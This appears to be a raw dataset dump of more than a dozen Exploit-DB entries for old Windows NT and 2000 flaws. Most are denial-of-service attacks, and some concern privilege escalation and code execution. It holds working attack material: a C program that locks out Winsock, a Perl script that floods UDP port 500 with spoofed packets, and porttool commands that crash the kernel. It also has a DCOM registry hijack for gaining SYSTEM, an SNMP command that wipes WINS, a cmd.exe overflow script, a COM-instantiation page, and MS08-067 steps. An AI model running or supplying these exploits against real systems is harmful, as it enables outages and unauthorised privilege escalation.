deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19489
Description: Microsoft Windows NT 4.0 - DCOM Server
Type: dos
Platform: windows
Date: 1999-09-08
Author: Mnemonix

Exploit:
source: https://www.securityfocus.com/bid/624/info


It is possible for a local user to modify how DCOM servers are run, thereby escalating his/her privilege level. The Interactive User has write permissions to the DCOM registry entries. By editing the registry keys associated with DCOM server applications, they can change which services are started to handle specific events. They can then overwrite the services EXE file, trigger the event, and have their code run as SYSTEM. 


This exploit will cause the System Event Notification service or SENS service to start when a VBScript calls for the creation of a new Wordpad Document. The SENS service is installed during an installation of IE5, but is not started. The default permissions allow Everybody write access to the EXE.
Edit the
HKCR\AppID\{73FDDC80-AEA9-101A-98A7-00AA00374959}
registry key and add a new value, "LocalService", with data SENS

Create an HTML document, with the following VBScript in it:
<SCRIPT LANGUAGE="VBScript"> CreateObject("Wordpad.Document.1") </SCRIPT>

Open the html document in a browser. The browser will request that the COM Service Control Manager (RPCSS.EXE) start the service associated with Wordpad.
Exploit-DB #20254
Description: Microsoft Windows NT 4.0 - Invalid LPC Request Denial of Service (MS00-070)
Type: dos
Platform: windows
Date: 2000-10-03
Author: BindView's Razor Team

Exploit:
source: https://www.securityfocus.com/bid/1743/info

LPC (Local Procedure Call) is a message-passing service that allows threads and processes to communicate with each other on a local machine as opposed to RPC (Remote Procedure Call) that takes place between different hosts. The implementation of LPC in Windows NT 4.0 does not properly handle LPC requests that are out of order or utilize invalid parameters.

If a server was to receive a LPC request from a client, the normal procedure for the server would be a call to NtAcceptConnectPort and NtCompleteConnectPort to complete the connection. If the server were to call upon NtReplyPort rather than NtAcceptConnectPort, the client would crash due to a kernel exception.

In addition, if a client was to connect to either \DbgSsApiPort or \DbgUiApiPort and send random data, the client would crash.

In both scenarios, reboot of the system would be required in order to regain normal functionality.

This vulnerability can only be launched against a machine a user can interactively log onto, therefore remote exploitation is not possible.

Other vulnerabilities exists in NT's implementation of LPC and are detailed in the Microsoft Security Bulletin (MS00-070) and Bindview's Security Advisory located under the 'Credit' tab. 

1) Executing the following commands will cause a Blue Screen of Death and rebooting the system is required in order to regain normal functionality (NtReplyPort vulnerability).

start porttool -s2 \BaseNamedObjects\Foo
porttool -c \BaseNamedObjects\Foo

2) Executing the following commands will cause a Blue Screen of Death and rebooting the system is required in order to regain normal functionality (DbgSsApiPort or \DbgUiApiPort vulnerability).

porttool -c \DbgSsApiPort
or
porttool -c \DbgUiApiPort 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20254.zip
Exploit-DB #20596
Description: Microsoft Windows NT 4.0 - Networking Mutex Denial of Service
Type: dos
Platform: windows
Date: 2001-01-24
Author: Arne Vidstrom

Exploit:
// source: https://www.securityfocus.com/bid/2303/info

Microsoft Windows NT 4.0 is subject to a denial of service due to the implementation of incorrect permissions in a Mutex object. A local user could gain control of the Mutex on a networked machine and deny all network communication. 

/*
/* mutation.c - (c) 2000, Arne Vidstrom, arne.vidstrom@ntsecurity.nu
/*                        http://ntsecurity.nu
/*
/* - Disables all network connectivity through Winsock
/* - Can be run from any account (e.g. an ordinary User account)
/*
*/

#include <windows.h>
#include <aclapi.h>

int main(void)
{
	PSID pEveryoneSID;
	SID_IDENTIFIER_AUTHORITY iWorld = SECURITY_WORLD_SID_AUTHORITY;
	PACL pDacl;
	DWORD sizeNeeded;

	AllocateAndInitializeSid(&iWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID);
	sizeNeeded = sizeof(ACL) + sizeof(ACCESS_DENIED_ACE) + GetLengthSid(pEveryoneSID) - sizeof(DWORD);
	pDacl = (PACL) malloc(sizeNeeded);
	InitializeAcl(pDacl, sizeNeeded, ACL_REVISION);
	AddAccessDeniedAce(pDacl, ACL_REVISION, GENERIC_ALL, pEveryoneSID);
	SetNamedSecurityInfo("Winsock2ProtocolCatalogMutex", SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pDacl, NULL);
	free(pDacl);
	return 0;
}
Exploit-DB #21047
Description: Microsoft Windows NT 4.0 - NT4ALL Denial of Service
Type: dos
Platform: windows
Date: 2001-08-03
Author: hypoclear

Exploit:
source: https://www.securityfocus.com/bid/3144/info

It has been reported that it is possible to cause a denial of service on a Windows NT system using the 'NT4ALL' tool.

The DoS reportedly occurs after the system reboots while being set in 'special mode' using 'NT4ALL'.

In order to exploit NT4ALL, a local user must reportedly have write permissions to the C:\winnt\system32\ directory.

This is a non-default configuration. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21047.zip
Exploit-DB #20564
Description: Microsoft Windows NT 4.0 - SNMP-WINS Denial of Service
Type: dos
Platform: windows
Date: 1997-10-07
Author: CRouland

Exploit:
source: https://www.securityfocus.com/bid/2244/info


The Simple Network Management Protocol (SNMP) provides remote network administration functions. Windows NT provides an optional SNMP implementation. Windows NT networks can use Windows Internet Name Service (WINS), a DNS-like service, to register clients on the network. The SNMP service provided with NT Server 4.0 and NT Server 4.0 Terminal Server Edition allow a remote user to delete WINS records, initiating a denial of service against the network. The only caveat to this is that the attacker must know the SNMP community name and be able to access the SNMP service. This does represent a significant vulnerability because regular access control functions are bypassed by the SNMP function, and SNMP community names are often left at their default values (eg., "public"). 

"Since the SNMP toolset implemented under NT will not do
snmp-set-requests, my sample exploit was done using the CMU SNMP
development kit under Unix. The command "rnjdev02:~/cmu$ snmpset -v 1
192.178.16.2 public .1.3.6.1.4.1.311.1.2.5.3.0 a 192.178.16.2"
successfully entirely deleted my WINS database."
Exploit-DB #20255
Description: Microsoft Windows NT 4.0/2000 - LPC Zone Memory Depletion Denial of Service
Type: dos
Platform: windows
Date: 2000-10-03
Author: BindView's Razor Team

Exploit:
source: https://www.securityfocus.com/bid/1745/info

LPC (Local Procedure Call) is a message-passing service that allows threads and processes to communicate with each other on a local machine as opposed to RPC (Remote Procedure Call) that takes place between different hosts. LPC allocates memory from a pool specifically for message-storage into what is known as the LPC Zone. If the LPC Zone allocated memory cannot handle the volume of messages received, then memory is transferred from the kernel to the LPC Zone. Under normal circumstances, the memory should be diverted back to the kernel from the LPC Zone once it is no longer in use. However, creating a specially malformed request can cause the memory to be withheld by the LPC Zone which could eventually utilize all of the kernel's memory resources if this action was repeated.

Reboot of the system is required in order to regain normal functionality.

This vulnerability can only be launched against a machine a user can interactively log onto, therefore remote exploitation is not possible.

start porttool -s6 \BaseNamedObjects\Foo
porttool -c6 \BaseNamedObject\Foo 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20254.zip
Exploit-DB #19827
Description: Microsoft Windows NT 4.0/2000 - TCP/IP Printing Service Denial of Service
Type: dos
Platform: windows
Date: 2000-03-30
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/1082/info

The TCP/IP Printing Service (also known as Print Services for Unix in Windows 2000) is the mechanism used for print service integration with Unix environments.

It relies on port 515 for data transmittal. A malformed print request sent to this particular port can cause the service to cease functioning and can affect other services as well, including SimpTCP, DHCPServer, FTPSvc, LPDSvc, and BinlSvc. The service will require to be stopped and restarted in order to regain normal functionality.

The TCP/IP Printing Service is not installed by default on Windows NT or Windows 2000 and this exploit does not affect the printing services native to Windows.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19827-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19827-2.zip
Exploit-DB #19238
Description: Microsoft Windows NT 4.0/4.0 SP1/4.0 SP2/4.0 SP3 - Denial of Service Duplicate Hostname
Type: dos
Platform: windows
Date: 1999-06-04
Author: Carl Byington

Exploit:
source: https://www.securityfocus.com/bid/298/info

NT Workstations and Servers must have unique hostnames if they reside on the same network. Should an NT host attempt to use an existing hostname, the second server (with the new duplicate name) will fail to start its workstation and server services. (Once the name has been changed to a unique value and has been rebooted, the host will operate normally).

Should an NT host claim the hostname of a "victim" NT host while that host is turned off, the "victim" host will be subject to a Denial of Service-like attack because the workstation and server services will fail to start. NT hosts are usually prevented from taking duplicate names within one domain they must register their existence with an NT Domain Controller when initially joining the domain. (This registration process must be performed by someone with administrator privileges.)

A situation has been noted wherein a Win95 host may register the victim hostname (with a WINS server) by setting the Win95 workgroup name equal to the victim's hostname. The next time the victim host is rebooted, it will fail to start the workstation and server services as the WINS server will report that the hostname is claimed by the Win95 host. 

Set the Win95 workgroup name equal to the hostname for the victim NT host. If the WINS server registers this hostname, and the victim NT host is rebooted, it will fail to start its workstation and server services.
Exploit-DB #19578
Description: Microsoft Windows NT 4.0/SP1/SP2/SP3/SP4/SP5/SP6 - 'Services.exe' Denial of Service (2)
Type: dos
Platform: windows
Date: 1999-10-31
Author: .rain.forest.puppy

Exploit:
source: https://www.securityfocus.com/bid/754/info
 
A specially crafted packet can cause a denial of service on an NT 4.0 host, rendering local administration and network communication nearly unusable. This attack will crash the "services" executable, which in turn, disables the ability for the machine to perform actions via named pipes. As a consequence, users will be unable to remotely logon, logoff, manage the registry, create new file share connections, or perform remote administration. Services such as Internet Information Server may also fail to operate as expected. Rebooting the affected machine will resolve the issue, provided it is not attacked again.
 
The problem lies within the manner that srvsvc.dll makes calls to services.exe. Certain MSRPC calls will return NULL values which are not correctly interpreted by services.exe. This, in turn, may lead to a crash of Services.exe.
 
If this denial of service is combined with a number of other exploits, it may be possible to have this attack spawn a Debugger (ie Dr Watson) call on the host, which, if trojaned, may execute malicious code on the target host.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19578.zip
Exploit-DB #22245
Description: Microsoft Windows NT/2000 - 'cmd.exe' CD Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2003-02-11
Author: 3APA3A

Exploit:
source: https://www.securityfocus.com/bid/6829/info

The Windows NT and 2000 command prompt (cmd.exe) does not properly handle paths containing more than 256 characters. If the cd (change directory) command is used to change to a subdirectory resulting in a path with more than 256 characters, a buffer is overrun. This could lead to cmd.exe failing with the possibility of code execution on Windows NT 4.0 systems. Automated scripts that traverse and preform operations on arbitrary directories are particularly vulnerable.

On Windows 2000 systems, cmd.exe will become 'jailed' in the directory. 

@echo off
SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%c:
cd cd AAAAAAAAAAAA*
cd AAAAAAAAAAAA*
cd BBBBBBBBBBBB*
cd ..
Exploit-DB #21123
Description: Microsoft Windows NT/2000 - Terminal Server Service RDP Denial of Service
Type: dos
Platform: windows
Date: 2001-10-18
Author: Luciano Martins

Exploit:
source: https://www.securityfocus.com/bid/3445/info


Due to a flaw in the implementation of RDP in Windows 2000/NT Terminal Server, it is possible for a remote user to cause a host to stop responding.

Sending malformed RDP packets to a host could cause a denial of services, potentially impacting the Terminal service and other applications running on the affected host.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21123.zip
Exploit-DB #19089
Description: Microsoft Windows OpenType Font - File Format Denial of Service
Type: dos
Platform: windows
Date: 2012-06-12
Author: Cr4sh

Exploit:
************************************************************************

  OpenType font file format remote (client-side) DoS exploit for Windows

  By Oleksiuk Dmytro (aka Cr4sh)
  http://twitter.com/d_olex
  http://blog.cr4.sh
  mailto:cr4sh0@gmail.com
  
************************************************************************

INFO:

Zero day vulnerability exists in kernel-mode library ATMFD.DLL, that using by OS for working with PostScript-based OpenType font files (.OTF)

Vulnerable versions of Windows/ATMFD.DLL: all, x32 and x64.

Opening malicious .OTF font file, that can be embedded in Microsoft Office document or web-page, causes a BSoD on NT 5.x (Windows XP, Server 2003) and 100% CPU overage on NT 6.x (Vista, 7, Server 2008).

To trigger vulnerability -- double click on CFF_Type-1_0x0d_expl.otf

The point of vulnerability -- invalid decoding of 0x0d byte in the Type 2 Charstring Format Glyph, that drops ATMFD.DLL code into the infinite loop.

"good" glyph representation:

  [68]={
    95 112 99 65 61 vhcurveto
    endchar
  }
  
Malicious glyph representation:

  [68]={
    95 112 99 65 reserved13
    vhcurveto
    endchar
  }
  
This vulnerability was found with MsFontsFuzz fuzzer, that can be downloaded on https://github.com/Cr4sh/MsFontsFuzz

More detailed vulnerability analysis can be found at http://blog.cr4.sh/2012/06/0day-windows.html (russian, use Google Translate).

====
POC
====

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19089.rar
Exploit-DB #6824
Description: Microsoft Windows Server - Code Execution (PoC) (MS08-067)
Type: dos
Platform: windows
Date: 2008-10-23
Author: stephen lawler

Exploit:
In vstudio command prompt:

  mk.bat

next:

  attach debugger to services.exe (2k) or the relevant svchost (xp/2k3/...)

  net use \\IPADDRESS\IPC$ /user:user creds
  die \\IPADDRESS \pipe\srvsvc

  In some cases, /user:"" "", will suffice (i.e., anonymous connection)

You should get EIP -> 00 78 00 78, a stack overflow (like a guard page
violation), access violation, etc.  However, in some cases, you will get
nothing.

This is because it depends on the state of the stack prior to the "overflow".
You need a slash on the stack prior to the input buffer.

So play around a bit, you'll get it working reliably...

poc:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6824.zip (2008-ms08-067.zip)

# milw0rm.com [2008-10-23]
Exploit-DB #21172
Description: Microsoft Windows Server 2000 - Internet Key Exchange Denial of Service (2)
Type: dos
Platform: windows
Date: 2001-12-07
Author: Nelson Brito

Exploit:
source: https://www.securityfocus.com/bid/3652/info
 
Internet Protocol Security (IPSec) provides authentication and encryption for IP network traffic. The Internet Key Exchange (IKE) protocol is a management protocol standard which is used with the IPSec standard. IKE contributes to the IPSec standard by providing additional features and by default listens on UDP port 500.
 
 
 
An issue exists in IKE which could cause a Windows 2000 host to stop responding.
 
 
 
Connecting to port 500 and submitting a continuous stream of arbitrary packets, will cause the CPU utilization to spike to approximately 100%.
 
 
It should be noted that this vulnerability may be due to an underlying issue with the UDP protocol.

#!/usr/bin/perl -w
###############################################################################
# Author        :       Nelson Brito
# E-mail        :       nelson@SEKURE.ORG
# File          :       nb-isakmp.pl
# Version       :       0.3 Alpha
###############################################################################
use Socket;
use Net::RawIP;
use Getopt::Std;

getopts("s:d:p:l:n:v:t:f:rL",\%o);$ver="0.3a";$0=~s#.*/##;

print"--- $0 v.$ver b/ Nelson Brito / Independent Security Consultant ---\n";

$l=$o{'l'}?$o{'l'}+28:800+28;$n=$o{'n'}?$o{'n'}/2:800/2;
$v=$o{'v'}||4;$t=$o{'t'}||1;$f=$o{'f'}||0;$T=$o{'T'}||64;
$p=$o{'p'}?$o{'p'}:(getservbyname('isakmp','udp')||die"getservbyname: $!\n");

($o{'s'}&&$o{'d'})||die
"\nUse: $0 [IP Options] [UDP Options]\n\n",
"IP Options:\n",
"\t\t-s*\tsource address to spoof\n",
"\t\t-d*\tdestination address to attack\n",
"\t\t-v\tIP Version\t\t\t\t(def: $v)\n",
"\t\t-t\tIP Type of Service (TOS)\t\t(def: $t)\n",
"\t\t-f\tIP fragementation offset\t\t(def: $f)\n",
"\t\t-T\tIP Time to Live (TTL)\t\t\t(def: $T)\n",
"UDP Options:\n",
"\t\t-p\tdestination port to attack\t\t(def: $p)\n",
"\t\t-l\tpacket length to send\t\t\t(def: $l)\n",
"\t\t-r\tset randon data\t\t\t\t(def: \".\")\n",
"Generic:\n",
"\t\t-n\tnumber of packets to send\t\t(def: $n)\n",
"\t\t-L\tsend packets forever\n\n",
"Copyright � 2000 Nelson Brito <nelson\@SEKURE.ORG>.\n";

while($n > 0){
	$|=1;print".";$sp=int rand 65535;
	$D=$o{'r'}?(chr(int rand 255)) x $l:"." x $l;
	$nb=new Net::RawIP({
		ip=>
		{
			version=>$v,
			tos=>$t,
			ttl=>$T,
			frag_off=>$f,
			saddr=>$o{'s'},
			daddr=>$o{'d'}
		},
		udp=>
		{
			source=>$sp,
			dest=>$p,
			len=>$l,
			data=>$D
		}
	});
	$nb->send;undef $nb;!$o{'L'}&&$n--;
}
print"Finish!\n";
Exploit-DB #21389
Description: Microsoft Windows Server 2000 - Lanman Denial of Service (2)
Type: dos
Platform: windows
Date: 2003-01-03
Author: ch0wn

Exploit:
source: https://www.securityfocus.com/bid/4532/info
 
An issue has been discovered in Windows 2000, which could cause a denial of system services.
 
Submitting malformed data to port 445 could cause the Lanman service to consume high CPU and Kernel mode memory usage.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21389.tar.gz
Exploit-DB #28420
Description: Microsoft Windows Server 2000 - Multiple COM Object Instantiation Code Execution Vulnerabilities
Type: dos
Platform: windows
Date: 2006-08-21
Author: nop

Exploit:
source: https://www.securityfocus.com/bid/19636/info

Microsoft Windows 2000 is prone to multiple memory-corruption vulnerabilities that are related to the instantiation of COM objects. These issues may be remotely triggered through Internet Explorer.

The vulnerabilities arise because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls. This may result in arbitrary code execution, but this has not been confirmed. The affected objects are not likely intended to be instantiated through Internet Explorer.

This BID may be related to the issues discussed in BID 17453 (Microsoft Internet Explorer COM Object Instantiation Code Execution Vulnerability). However, these issues affect a different set of COM objects that were not addressed in previous BIDs.

<!-- // Windows 2000 Multiple COM Object Instantiation Vulnerability // tested on Windows 2000 SP4 CN // http://www.xsec.org // nop (nop#xsec.org) --> <html> <head> <title>COM-tester</title> </head> </body> <script> var i =0; var clsid = new Array( // NO: 1 // CLSID: {3BC4F3A3-652A-11D1-B4D4-00C04FC2DB8D} // Info: Microsoft Index Server Catalog Administration Object // ProgID: Microsoft.ISCatAdm.1 // InprocServer32: C:\WINNT\system32\ciodm.dll "{3BC4F3A3-652A-11D1-B4D4-00C04FC2DB8D}", // NO: 2 // CLSID: {4682C82A-B2FF-11D0-95A8-00A0C92B77A9} // Info: MyInfo ASP Component// ProgID: MSWC.MyInfo.1 // InprocServer32: C:\WINNT\system32\inetsrv\MyInfo.dll "{4682C82A-B2FF-11D0-95A8-00A0C92B77A9}", // NO: 3 // CLSID: {8E71888A-423F-11D2-876E-00A0C9082467} // Info: RadioServer Class // ProgID: Mmedia.RadioServer.1 // InprocServer32: C:\WINNT\system32\msdxm.ocx "{8E71888A-423F-11D2-876E-00A0C9082467}", // NO: 4 media player? // CLSID: {606EF130-9852-11D3-97C6[PII_REDACTED]D4} // Info: CdCreator Class// ProgID: Creator.CdCreator.1 // InprocServer32: C:\Program Files\Common Files\Adaptec Shared\CreatorAPI\creator.dll "{606EF130-9852-11D3-97C6[PII_REDACTED]D4}", // NO: 5 media player? // CLSID: {F849164D-9863-11D3-97C6[PII_REDACTED]D4} // Info: CdDevice Class// ProgID: Creator.CdDevice.1 // InprocServer32: C:\Program Files\Common Files\Adaptec Shared\CreatorAPI\creator.dll "{F849164D-9863-11D3-97C6[PII_REDACTED]D4}", // END null ); while(clsid[i]) { var a = document.createElement("object"); window.status = "Testing Object " + clsid[i] + "..."; a.setAttribute("classid", "clsid:" + clsid[i]); i++; } window.status = "failed!"; </script> </body> </html>